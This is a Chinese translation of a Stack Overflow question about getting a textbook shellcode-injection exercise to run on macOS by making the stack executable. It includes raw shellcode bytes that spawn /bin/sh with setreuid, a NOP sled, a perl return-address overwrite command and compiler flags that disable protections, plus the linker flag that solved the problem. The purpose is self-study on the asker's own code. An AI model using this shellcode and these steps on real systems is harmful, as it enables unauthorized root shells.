如何在OSX上使堆栈可执行?

3
我目前正在学习《黑客攻防艺术》这本书,并练习编写一些示例代码的shell代码注入技巧。 我正在将shell代码作为环境变量进行注入。在lldb中,我可以看到我正在覆盖返回地址,并且EIP被设置为我的NOP滑板中间。然而,它随后抛出"EXC_BAD_ACCESS"并且段错误。 下面是我的shell代码的代码栈部分:
0xbffffbd8: "SHELL=/bin/sh"
0xbffffbe6: "SHELLCODE=\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff90\xffffff901\xffffffc01\xffffffdb1\xffffffc9\xffffff99\xffffffb0\xffffffa4\xffffffcd\xffffff80j\vXQh//shh/bin\xffffff89\xffffffe3Q\xffffff89\xffffffe2S\xffffff89\xffffffe1\xffffffcd\xffffff80"
0xbffffcdc: "SHLVL=4"

要执行缓冲区溢出,需要调用lldb ./notesearch $(perl -e 'print "\x5e\xfc\xff\xbf"x40')命令。当程序崩溃时,我们可以看到如下信息:

Process 21713 stopped
* thread #1: tid = 0xa33bc3, 0xbffffc5e, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0xbffffc5e)
    frame #0: 0xbffffc5e
->  0xbffffc5e: nop    
    0xbffffc5f: nop    
    0xbffffc60: nop    
    0xbffffc61: nop    

我正在使用gcc -g -O0 -fno-stack-protector -D_FORTIFY_SOURCE=0 -fomit-frame-pointer编译代码,并且我正在使用change_mach_o_flags.py脚本并设置--no-pie--executable-heap选项。 我认为问题在于osx会自动将堆栈设置为不可执行。 不幸的是,在osx中,gcc没有-z execstack选项。 也没有execstack实用程序可用。
我已经搜索了网上并找不到方法使我的编译代码中的堆栈可执行。 是否有一种方法可以做到这一点,如果有,如何做?

希望不是在我的一生中。你是否已经尝试把沙发放在铁路上看看会发生什么?这是出于恶意好奇还是恶意? - Weather Vane
@WeatherVane 哎呀。这是有害的吗?我只是想制作一个人为虚弱的软件,以便我可以亲身体验在shell代码注入方面的经验。尝试破解自己的代码不是对于想学习安全知识的人来说很常见的教育实践吗? - carter
有害吗?引发第三次世界大战?在我看来,更好的方法是集中精力使代码防弹。已经有足够多的意外输入需要防范了。如果你想破坏自己的代码:不要让它易受攻击,把它变成你会提供的真实世界代码。然后,用意外的、恶意的或者意料之外的输入来尝试破解它。 - Weather Vane
@Breezy 我同意你的观点,从教育角度来看,学习这些漏洞确实有很大的价值。如果你不理解某个东西,很难防范它。虽然现代大多数操作系统默认会将堆栈设置为不可执行,但了解堆栈漏洞可以作为理解更复杂漏洞的基础。 - ajspencer
1个回答

6

1
这个完美地解决了。通过在我的gcc别名标志中添加“-Wl,-allow_stack_execute”,我能够使堆栈可执行。谢谢! - carter

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接